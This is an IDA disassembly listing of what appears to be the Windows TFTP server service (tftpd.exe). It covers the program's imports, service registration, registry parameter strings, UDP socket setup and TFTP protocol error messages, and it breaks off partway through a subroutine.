;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : BC466D941CDD5F44447AEAB5AB64F657
; File Name : u:\work\bc466d941cdd5f44447aeab5ab64f657_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable)
extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp
; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p
; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap
; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus)
extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
; sub_1001665+F7p ...
;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp
; DATA XREF: sub_1001570+EDr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p
; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p
; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p
; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p
; DATA XREF: sub_1001E73+36r
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p
; DATA XREF: HandlerProc+38r
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p
; sub_1001665:loc_1001762p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p
; sub_1001A91+1ABp
; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep
; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p
; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p
; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p
; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p
; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p
; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp
; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp
; sub_1001A91+2C1p
; DATA XREF: ...
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p
; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p
; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p
; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: .text:01001D94p
; sub_100205A+4Ep
; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
; .text:01001D9Bp
; DATA XREF: ...
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
; DATA XREF: HandlerProc+50r
;
; Imports from MSVCRT.dll
;
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
; DATA XREF: .text:01003B18r
extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
; DATA XREF: .text:01003AD8r
extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p
; sub_1002F31+20Ap
; DATA XREF: ...
extrn _close:dword ; CODE XREF: sub_1002953+11p
; DATA XREF: sub_1002953+11r
extrn _read:dword ; CODE XREF: sub_10027E1+63p
; DATA XREF: sub_10027E1+63r
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_1001FA6+30p
; sub_100205A+93p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_1001FA6+55p
; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: sub_1001E73+CDp
; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_10018DB+75p
; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
extrn time:dword ; CODE XREF: sub_1001665+114p
; HandlerProc+8p
; DATA XREF: ...
extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp
; sub_1001665+1BEp
; DATA XREF: ...
; int *__cdecl errno()
extrn _errno:dword ; CODE XREF: sub_1001665+1A7p
; sub_10027E1+7Dp ...
extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp
; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl fopen(const char *Filename, const char *Mode)
extrn fopen:dword ; CODE XREF: sub_1001665+1DBp
; DATA XREF: sub_1001665+1DBr
; char *__cdecl ctime(const time_t *Time)
extrn ctime:dword ; CODE XREF: sub_1001665+1F7p
; HandlerProc+19p
; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp
; DATA XREF: .text:01003A7Fr
extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp
; DATA XREF: .text:01003A9Cr
extrn __p__commode:dword ; CODE XREF: .text:01003AAAp
; DATA XREF: .text:01003AAAr
extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: sub_1001570+52p
; sub_1001570+5Fp ...
extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
; DATA XREF: .text:01003B33r
extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr
; void __cdecl exit(int Code)
extrn _exit:dword ; CODE XREF: .text:01003B7Ap
; DATA XREF: .text:01003B7Ar
extrn _open:dword ; CODE XREF: sub_1002F31+1A6p
; sub_100333A+1B9p
; DATA XREF: ...
extrn _write:dword ; CODE XREF: sub_100373A+5Bp
; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: sub_1001570+CFp
; sub_1001665+C0p ...
;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags)
extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p
; DATA XREF: sub_100205A+17r
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
; sub_1001A91+12Bp ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p
; DATA XREF: sub_1001665+A6r
; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents)
extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp
; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_1001A91+1D2p
; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep
; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep
; sub_1002A3D+40p ...
; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp
; DATA XREF: sub_1001A91+10Fr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap
; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
; DATA XREF: sub_1001F54+1Cr
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_1001F54+13p
; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p
; sub_1002F31+64p ...
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_100205A+7Ap
; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const char *name, const char *proto)
extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_1002F31+22Ep
; sub_100333A+1EBp
; DATA XREF: ...
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_100230A+B6p
; sub_1002A3D+65p ...
;
; Imports from iphlpapi.dll
;
; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped)
extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger
; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder)
extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler
;
; Imports from ntdll.dll
;
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_100273D+72p
; DATA XREF: sub_100273D+72r
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_1003910+24p
; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
extrn isupper:dword ; CODE XREF: sub_100333A+86p
; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
extrn tolower:dword ; CODE XREF: sub_1002F31+88p
; sub_100333A+95p
; DATA XREF: ...
extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp
; sub_1002B5E+114p ...
extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p
; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p
; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10023D8+81p
; sub_10023D8+F2p
; DATA XREF: ...
; char *__cdecl itoa(int Val, char *DstBuf, int Radix)
extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p
; DATA XREF: sub_10023D8:loc_1002597r
extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap
; sub_1002901+35p
; DATA XREF: ...
extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p
; DATA XREF: sub_10018DB+81r
extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
; sub_10018DB+D6p
; DATA XREF: ...
extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p
; sub_1002F31+34Dp ...
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 100117Ch
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
; char aOReadableFiles[]
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
; char aOValidmastersK[]
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
; char aOStartdirector[]
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
; char aRegistryKeyNam[]
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
; char Filename[]
Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
; char aTftpd_default_[]
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
; char Source[]
Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
; char Mode[]
Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
; char name[]
name db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
; char proto[]
proto db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
; char aTimeout_0[]
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:printf
push offset Format ; " ======================================"...
call esi ; printf
pop ecx
push offset Source ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; printf
pop ecx
pop ecx
push offset Filename ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; printf
pop ecx
pop ecx
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; printf
pop ecx
pop ecx
push offset ValueName ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; printf
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push 0FFFFFFFFh ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset ServiceStartTable ; lpServiceStartTable
call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_100165B
call ds:GetLastError
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0 ; uExitCode
call ds:ExitProcess ; ExitProcess
sub_1001570 endp
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset HandlerProc ; lpHandlerProc
push offset ServiceName ; "Tftpd"
mov ServiceStatus.dwServiceType, 30h
mov ServiceStatus.dwCurrentState, 2
mov ServiceStatus.dwControlsAccepted, ebp
mov ServiceStatus.dwCheckPoint, 1
mov ServiceStatus.dwWaitHint, 4E20h
mov ServiceStatus.dwWin32ExitCode, ebp
mov ServiceStatus.dwServiceSpecificExitCode, ebp
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
cmp eax, ebp
mov hServiceStatus, eax
jz loc_1001762
mov esi, ds:SetServiceStatus
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
push eax ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebp
jz loc_1001762
mov ebx, ds:CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ebx ; CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
mov hHandle, eax
call ebx ; CreateEventA
cmp hHandle, ebp
mov hObject, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset stru_1006140 ; lpWSAData
push 101h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:WSAGetLastError ; WSAGetLastError
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 4
push hServiceStatus ; hServiceStatus
mov ServiceStatus.dwControlsAccepted, 7
mov ServiceStatus.dwCheckPoint, ebp
mov ServiceStatus.dwWaitHint, ebp
call esi ; SetServiceStatus
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:GetLastError
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset Time
mov edi, edx
rep stosd
push edx ; Time
call ds:time ; time
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:_chdir
push ebx
call esi ; _chdir
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:_errno ; _errno
push ebx
call ds:_mkdir ; _mkdir
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; _chdir
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset Mode ; "a+"
push offset Filename ; "tftpd.log"
call ds:fopen ; fopen
pop ecx
cmp eax, ebp
pop ecx
mov File, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset Time ; Time
call ds:ctime ; ctime
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, ebp
jz loc_100172C
call ds:GetLastError
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char)
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
s = dword ptr 8
hEventObject = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3 ; lNetworkEvents
push [ebp+hEventObject] ; hEventObject
push [ebp+s] ; s
call ds:WSAEventSelect ; WSAEventSelect
test eax, eax
jz short loc_10018AE
call ds:GetLastError
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+s]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+hEventObject]
lea eax, [ebp+var_4]
push eax
call ds:RtlRegisterWait ; RtlRegisterWait
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
Memory = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:InitializeCriticalSection
push edi
push offset CriticalSection ; lpCriticalSection
call esi ; InitializeCriticalSection
push offset stru_1006020 ; lpCriticalSection
call esi ; InitializeCriticalSection
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset Memory
